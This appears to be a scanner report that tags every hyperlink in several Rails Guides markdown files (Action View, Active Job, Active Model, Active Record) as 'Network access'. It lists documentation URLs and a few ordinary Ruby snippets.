auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) - Network accessline 519
# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" /> - Network accessline 522
See the [`auto_discovery_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag) - Network accessline 523
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag) - Network accessline 536
See the [`favicon_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag) - Network accessline 537
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag) - Network accessline 553
INFO: Internally, `image_tag` uses [`image_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path) - Network accessline 554
AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path) - Network accessline 557
See the [`image_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) - Network accessline 558
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) - Network accessline 581
INFO: Internally, `javascript_include_tag` uses [`javascript_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path) - Network accessline 582
AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path) - Network accessline 585
See the [`javascript_include_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag) - Network accessline 586
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag) - Network accessline 608
See the [`picture_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag) - Network accessline 609
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag) - Network accessline 622
See the [`preload_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag) - Network accessline 623
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag) - Network accessline 642
INFO: Internally, `stylesheet_link_tag` uses [`stylesheet_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path) - Network accessline 643
AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path) - Network accessline 646
See the [`stylesheet_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag) - Network accessline 647
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag) - Network accessline 668
INFO: Internally, `video_tag` uses [`video_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path) - Network accessline 669
AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path) - Network accessline 672
See the [`video_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag) - Network accessline 673
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag) - Network accessline 704
See the [`escape_javascript` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript) - Network accessline 705
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript) - Network accessline 733
See the [`javascript_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag) - Network accessline 734
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag) - Network accessline 781
See the [`tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-tag) - Network accessline 782
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-tag) - Network accessline 843
See the [`capture` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture) - Network accessline 844
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture) - Network accessline 908
See the [`content_for` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for) - Network accessline 909
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for) - Network accessline 933
See the [`benchmark` API Documentation](https://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark) - Network accessline 934
Documentation](https://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark) - Network accessline 974
See [`Fragment Caching`](caching_with_rails.html#fragment-caching) and the [`cache` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) - Network accessline 975
[`cache` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) for more information. - Network accessline 976
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) - Network accessline 1027
See the [`atom_feed` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed) - Network accessline 1028
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed) - Network accessline 1052
See the [`debug` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DebugHelper.html#method-i-debug) - Network accessline 1053
Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DebugHelper.html#method-i-debug)
packages/autoskills/skills-registry/rails-guides/references/action_view_overview.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 17
Action View is the V in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). - Network accessline 18
[MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). [Action Controller](action_controller_overview.html) and Action View work together to handle web requests. Action Controller is concerned with - Network accessline 33
NOTE: Action View can make use of Active Model features like [`to_param`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_param) - Network accessline 34
[`to_param`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_param) - Network accessline 35
and [`to_partial_path`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_partial_path) to simplify code. That doesn't mean Action View depends on Active Model. Action - Network accessline 36
[`to_partial_path`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_partial_path) - Network accessline 85
has a `.erb` extension, it uses embedded Ruby to build an HTML response. If the template has a `.jbuilder` extension, it uses the [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And - Network accessline 86
template has a `.jbuilder` extension, it uses the [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And a template with a `.builder` extension uses the - Network accessline 87
[Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And - Network accessline 88
a template with a `.builder` extension uses the [`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML response. - Network accessline 89
[`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML - Network accessline 168
See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for - Network accessline 182
xml.em("emphasized") xml.em { xml.b("emph & bold") } xml.a("A Link", "href" => "https://rubyonrails.org") - Network accessline 183
xml.em { xml.b("emph & bold") } xml.a("A Link", "href" => "https://rubyonrails.org") xml.target("name" => "compile", "option" => "fast") - Network accessline 184
xml.a("A Link", "href" => "https://rubyonrails.org") - Network accessline 191
<em>emphasized</em> <em><b>emph & bold</b></em> <a href="https://rubyonrails.org">A link</a> - Network accessline 192
<em><b>emph & bold</b></em> <a href="https://rubyonrails.org">A link</a> <target option="fast" name="compile" /> - Network accessline 193
<a href="https://rubyonrails.org">A link</a> - Network accessline 216
See [Builder documentation](https://github.com/rails/builder) for more examples. - Network accessline 241
To render a partial as part of a view, you use the [`render`](https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render) - Network accessline 242
[`render`](https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render) - Network accessline 535
Since `local_assigns` is a `Hash`, it's compatible with [Ruby 3.1's pattern matching assignment operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html): - Network accessline 537
operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html): - Network accessline 581
<% local_assigns.fetch(:related_products, []).each do |related_product| %> - Network accessline 586
Combining Ruby 3.1's pattern matching assignment with calls to [Hash#with_defaults](https://api.rubyonrails.org/classes/Hash.html#method-i-with_defaults) - Network accessline 587
[Hash#with_defaults](https://api.rubyonrails.org/classes/Hash.html#method-i-with_defaults) - Network accessline 604
[local_assigns]: https://api.rubyonrails.org/classes/ActionView/Template.html#method-i-local_assigns - Network accessline 605
https://api.rubyonrails.org/classes/ActionView/Template.html#method-i-local_assigns
packages/autoskills/skills-registry/rails-guides/references/active_job_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 2
<https://guides.rubyonrails.org>.** - Network accessline 77
For example, given a custom abstract job class using [queue_as](https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as): - Network accessline 78
[queue_as](https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as): - Network accessline 121
Use the [`set`](https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set) - Network accessline 122
[`set`](https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set) - Network accessline 163
[`perform_now`]: https://api.rubyonrails.org/classes/ActiveJob/Execution.html#method-i-perform_now - Network accessline 164
https://api.rubyonrails.org/classes/ActiveJob/Execution.html#method-i-perform_now - Network accessline 165
[`perform_later`]: https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later [`set`]: - Network accessline 166
https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later - Network accessline 168
https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set - Network accessline 189
Active Job supports [GlobalID](https://github.com/rails/globalid/blob/main/README.md) for arguments. - Network accessline 190
[GlobalID](https://github.com/rails/globalid/blob/main/README.md) for arguments. - Network accessline 402
configuring.html#config-active-job-queue-name-prefix [`queue_as`]: https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as - Network accessline 404
https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as - Network accessline 463
[`queue_with_priority`]: https://api.rubyonrails.org/classes/ActiveJob/QueuePriority/ClassMethods.html#method-i-queue_with_priority - Network accessline 464
https://api.rubyonrails.org/classes/ActiveJob/QueuePriority/ClassMethods.html#method-i-queue_with_priority - Network accessline 468
You can enqueue multiple jobs at once using [`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later). - Network accessline 469
[`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later). - Network accessline 538
The method [`successfully_enqueued?`](https://api.rubyonrails.org/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F) - Network accessline 539
[`successfully_enqueued?`](https://api.rubyonrails.org/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F) - Network accessline 639
[`before_enqueue`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue - Network accessline 640
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue - Network accessline 641
[`around_enqueue`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue [`after_enqueue`]: - Network accessline 642
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue - Network accessline 643
[`after_enqueue`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue [`before_perform`]: - Network accessline 644
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue - Network accessline 645
[`before_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform [`around_perform`]: - Network accessline 646
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform - Network accessline 647
[`around_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform [`after_perform`]: - Network accessline 648
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform - Network accessline 649
[`after_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform [`after_discard`]: - Network accessline 650
https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform - Network accessline 652
https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-after_discard - Network accessline 661
class GuestsCleanupJob < ApplicationJob before_enqueue do |job| throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true) - Network accessline 662
before_enqueue do |job| throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true) end - Network accessline 663
throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true) - Network accessline 688
To use continuations, include the `ActiveJob::Continuable` module in your Job class. You can then define each step inside the `perform` method using [`step`](https://api.rubyonrails.org/classes/ActiveJob/Continuation/Step.html). - Network accessline 690
[`step`](https://api.rubyonrails.org/classes/ActiveJob/Continuation/Step.html). - Network accessline 731
Steps can also use an optional [cursor](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html#class-ActiveJob::Continuation-label-Cursors) - Network accessline 732
[cursor](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html#class-ActiveJob::Continuation-label-Cursors) - Network accessline 804
[`Active Model Attributes API`]: https://api.rubyonrails.org/classes/ActiveModel/Attributes.html - Network accessline 805
https://api.rubyonrails.org/classes/ActiveModel/Attributes.html - Network accessline 807
https://api.rubyonrails.org/classes/ActiveJob/Attributes.html - Network accessline 809
Job Continuations make it easier to build long-running or multi-phase jobs that can safely pause and resume without losing progress. For more details, see [ActiveJob::Continuation](https://api.rubyonrails.org/classes/ActiveJob/Continuation. - Network accessline 811
[ActiveJob::Continuation](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html). - Network accessline 925
- queues: "*" threads: 3 processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %> - Network accessline 926
threads: 3 processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %> polling_interval: 0.1 - Network accessline 927
processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %> - Network accessline 946
You can read more about these [configuration options in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration). - Network accessline 947
documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration). - Network accessline 948
There are also [additional configuration options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings) that can be set in `config/<environment>.rb` to further configure Solid Queue in - Network accessline 949
options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings) - Network accessline 1126
since you don't control the call to `perform_later` in those cases. For recurring tasks, enqueue errors are logged but not raised. See [Errors When Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing) - Network accessline 1127
recurring tasks, enqueue errors are logged but not raised. See [Errors When Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing) in the Solid Queue documentation for more detail. - Network accessline 1128
Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing) - Network accessline 1135
control how quickly Solid Queue detects and cleans up expired processes. See [Threads, Processes and Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals) - Network accessline 1136
[Threads, Processes and Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals) in the Solid Queue documentation for details on configuring this behavior. - Network accessline 1137
Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals) - Network accessline 1230
You can read more about [Transactional Integrity in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity) - Network accessline 1231
documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity) - Network accessline 1250
Each task specifies a `class` or `command` and a `schedule` (parsed using [Fugit](https://github.com/floraison/fugit)). You can also pass arguments to - Network accessline 1251
[Fugit](https://github.com/floraison/fugit)). You can also pass arguments to - Network accessline 1256
You can learn more about [Recurring Tasks](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks) - Network accessline 1257
Tasks](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks) - Network accessline 1263
While Solid Queue is the default queuing backend in Rails, Active Job is designed to work seamlessly with different queuing backends. Switching to an alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq), - Network accessline 1264
designed to work seamlessly with different queuing backends. Switching to an alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq), [GoodJob](https://github.com/bensheldon/good_job), or - Network accessline 1265
alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq), - Network accessline 1266
[GoodJob](https://github.com/bensheldon/good_job), or - Network accessline 1267
[Resque](https://github.com/resque/resque), requires only a configuration change - Network accessline 1273
- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job) - Network accessline 1274
- [Resque](https://github.com/resque/resque/wiki/ActiveJob) - Network accessline 1275
- [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob) - Network accessline 1276
- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job) - Network accessline 1277
- [Delayed Job](https://github.com/collectiveidea/delayed_job#active-job) - Network accessline 1278
- [Que](https://github.com/que-rb/que#additional-rails-specific-setup) - Network accessline 1279
- [Good Job](https://github.com/bensheldon/good_job#readme) - Network accessline 1335
The [Mission Control](https://github.com/rails/mission_control-jobs) engine is a - Network accessline 1348
Exceptions raised during the execution of the job can be handled with [`rescue_from`](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from): - Network accessline 1349
[`rescue_from`](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from): - Network accessline 1390
[`discard_on`]: https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on - Network accessline 1391
https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on - Network accessline 1393
https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-retry_on - Network accessline 1400
If a passed record is deleted after the job is enqueued but before the `#perform` method is called Active Job will raise an [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html) - Network accessline 1401
`#perform` method is called Active Job will raise an [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html) exception. - Network accessline 1402
[`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html)
packages/autoskills/skills-registry/rails-guides/references/active_model_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 43
[`ActiveModel::API`](https://api.rubyonrails.org/classes/ActiveModel/API.html) - Network accessline 44
adds the ability for a class to work with [Action Pack](https://api.rubyonrails.org/files/actionpack/README_rdoc.html) and [Action View](action_view_overview.html) right out of the box. - Network accessline 45
Pack](https://api.rubyonrails.org/files/actionpack/README_rdoc.html) and [Action - Network accessline 98
Any class that includes `ActiveModel::API` can be used with `form_with`, `render` and any other [Action View helper methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like - Network accessline 99
`render` and any other [Action View helper methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like Active Record objects. - Network accessline 100
methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like - Network accessline 134
[`ActiveModel::Model`](https://api.rubyonrails.org/classes/ActiveModel/Model.html) - Network accessline 155
[`ActiveModel::Attributes`](https://api.rubyonrails.org/classes/ActiveModel/Attributes.html) - Network accessline 223
[`ActiveModel::AttributeAssignment`](https://api.rubyonrails.org/classes/ActiveModel/AttributeAssignment.html) - Network accessline 256
NOTE: `permitted?` is used for [strong params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters) - Network accessline 257
params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters) - Network accessline 319
[`ActiveModel::AttributeMethods`](https://api.rubyonrails.org/classes/ActiveModel/AttributeMethods.html) - Network accessline 439
[`ActiveModel::Callbacks`](https://api.rubyonrails.org/classes/ActiveModel/Callbacks.html) - Network accessline 616
[`ActiveModel::Conversion`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html) - Network accessline 705
[`ActiveModel::Dirty`](https://api.rubyonrails.org/classes/ActiveModel/Dirty.html) - Network accessline 895
[`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html) - Network accessline 897
manage. The module defines the `model_name` class method which will define several accessors using some [`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html) - Network accessline 898
several accessors using some [`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html) methods. - Network accessline 899
[`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html) - Network accessline 1057
[`ActiveModel::SecurePassword`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword.html) - Network accessline 1062
`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby 'BCrypt'), so include this - Network accessline 1063
[`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby 'BCrypt'), so include this - Network accessline 1154
[`ActiveModel::Serialization`](https://api.rubyonrails.org/classes/ActiveModel/Serialization.html) - Network accessline 1247
Active Model also provides the [`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/classes/ActiveModel/Serializers/JSON.html) - Network accessline 1248
[`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/classes/ActiveModel/Serializers/JSON.html) - Network accessline 1329
[`ActiveModel::Translation`](https://api.rubyonrails.org/classes/ActiveModel/Translation.html) - Network accessline 1364
[`ActiveModel::Validations`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html) - Network accessline 1407
- [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate): - Network accessline 1410
- [`validates`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates): - Network accessline 1414
- [`validates!`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates-21) - Network accessline 1421
- [`validates_with`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with): - Network accessline 1425
- [`validates_each`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each): - Network accessline 1429
the option you're using can be used with a specific validator, read through [the validation documentation](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html). - Network accessline 1431
documentation](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html). - Network accessline 1463
`ActiveModel::Validations` automatically adds an `errors` method to your instances initialized with a new [`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html) - Network accessline 1464
instances initialized with a new [`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html) object, so there is no need for you to do this manually. - Network accessline 1465
[`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html) - Network accessline 1488
[`ActiveModel::Lint::Tests`](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html) - Network accessline 1524
See [the test methods documentation](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html) - Network accessline 1525
documentation](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)
packages/autoskills/skills-registry/rails-guides/references/active_record_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 75
[MVC]: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller - Network accessline 76
[MFAR]: https://www.martinfowler.com/eaaCatalog/activeRecord.html - Network accessline 77
[ORM]: https://en.wikipedia.org/wiki/Object-relational_mapping - Network accessline 78
[sqlcourse]: https://www.khanacademy.org/computing/computer-programming/sql - Network accessline 79
[rdbmsinfo]: https://www.devart.com/what-is-rdbms/ - Network accessline 106
(and singularizing) both regular and irregular words in the English language. This uses the [Active Support](active_support_core_extensions.html#pluralize) [pluralize](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method- - Network accessline 108
[pluralize](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-pluralize) method. - Network accessline 148
the record is created or updated. * `lock_version` - Adds [optimistic locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a - Network accessline 149
* `lock_version` - Adds [optimistic locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model. - Network accessline 150
locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a - Network accessline 151
model. * `type` - Specifies that the model uses [Single Table Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). - Network accessline 152
* `type` - Specifies that the model uses [Single Table Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). * `(association_name)_type` - Stores the type for [po - Network accessline 153
Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). - Network accessline 171
be created in `app/models/application_record.rb`. The `ApplicationRecord` class inherits from [`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html) - Network accessline 172
inherits from [`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html) and it's what turns a regular Ruby class into an Active Record model. - Network accessline 173
[`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html) - Network accessline 301
Setting the [table_name_prefix](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D) - Network accessline 302
[table_name_prefix](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D) - Network accessline 368
[`id_value`]: https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-i-id_value
packages/autoskills/skills-registry/rails-guides/references/active_record_callbacks.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 185
[`after_create`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create - Network accessline 186
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create - Network accessline 187
[`after_commit`]: https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit [`after_rollback`]: - Network accessline 188
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit - Network accessline 189
[`after_rollback`]: https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback [`after_save`]: - Network accessline 190
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback - Network accessline 191
[`after_save`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save [`after_validation`]: - Network accessline 192
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save - Network accessline 193
[`after_validation`]: https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation [`around_create`]: - Network accessline 194
https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation - Network accessline 195
[`around_create`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create [`around_save`]: - Network accessline 196
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create - Network accessline 197
[`around_save`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save [`before_create`]: - Network accessline 198
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save - Network accessline 199
[`before_create`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create [`before_save`]: - Network accessline 200
